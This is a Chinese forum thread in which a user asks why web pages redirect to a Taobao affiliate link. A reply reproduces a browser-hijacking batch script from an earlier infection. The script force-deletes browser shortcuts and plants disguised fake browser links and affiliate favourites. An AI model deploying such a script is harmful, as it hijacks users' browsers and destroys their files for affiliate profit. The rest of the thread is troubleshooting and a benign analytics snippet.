网页自动跳到淘宝客

[mikemeego002]

打开网站网页，2秒后自动跳到这个地址。
http://www.taobao.com/go/chn/tbk_channel/child.php?pid=mm_26793955_2386803_9210308&eventid=102185


怎么回事？电脑没中毒

[ycproc]

没中毒 不代表 就一些插件什么的 没影响

[mikemeego002]

在linux的电脑打开也是这样。

[昵称不能为空噢噢噢噢]

电脑耍流氓

[alloneday]

应该是中马了。以前也碰到过。有一个批处理文件，desktop.ini,还有几个东西。

del "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet*.lnk"  /f/q/a
del "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\*.url"  /f/q/a
del "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\*.ink"  /f/q/a
del "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*"  /f/q/a
del "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\*浏览器*.lnk"  /f/q/a
del "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\腾讯TT.lnk"  /f/q/a
del "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\Opera.lnk"  /f/q/a
del "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\傲游*.lnk"  /f/q/a
del "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\*firefox*.lnk"  /f/q/a
del "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\*.ink" /f/q/a
del "C:\Documents and Settings\Administrator\桌面\IEXP*.*" /f/q/a
del "%userprofile%\「开始」菜单\程序\Intern*.*"  /f/q/a
del "C:\Documents and Settings\Administrator\桌面\Internet*.*"  /f/q/a
del "C:\Documents and Settings\Administrator\桌面\*hao123*"  /f/q/a
del "C:\Documents and Settings\Administrator\桌面\*.ink"  /f/q/a
del "C:\Documents and Settings\Administrator\桌面\*浏览器*.lnk"  /f/q/a
del "C:\Documents and Settings\Administrator\桌面\腾讯TT.lnk"  /f/q/a
del "C:\Documents and Settings\Administrator\桌面\Opera.lnk"  /f/q/a
del "C:\Documents and Settings\Administrator\桌面\傲游*.lnk"  /f/q/a
del "%userprofile%\「开始」菜单\*.url"   /f/q/a
del "C:\Documents and Settings\All Users\「开始」菜单\*.url" /f/q/a
del "C:\Documents and Settings\All Users\桌面\*.lnk" /f/q/a
del "C:\Documents and Settings\All Users\桌面\*.ink" /f/q/a
copy "C:\Program Files\Internet Explorer\Connection Wizard\iphone.icw" "C:\Program Files\Internet Explorer\Connection Wizard\msi.icw" /y
copy "%PROGRAMFILES%\Microsoft\y.dat" "C:\Documents and Settings\Administrator\桌面\Internat Exlporer.lnk" /y
copy "%PROGRAMFILES%\Microsoft\y.dat" "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\Internat Exlporer.lnk" /y
copy "C:\Program Files\Microsoft\Pack.dat" "c:\Documents and Settings\Administrator\Favorites\链接\淘宝导购网.url" /y
copy "C:\Program Files\Microsoft\Pack.dat" "c:\Documents and Settings\Administrator\Favorites\淘宝导购网.url" /y
Rename "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\腾讯QQ.imk" 腾讯QQ.lnk
::190534521090200

[mikemeego002]

页面后面有这段代码。是不是这个原因
<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-24951503-2']);
  _gaq.push(['_setDomainName', 'none']);
  _gaq.push(['_setAllowLinker', true]);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>

[mikemeego002]

页面也没什么可疑代码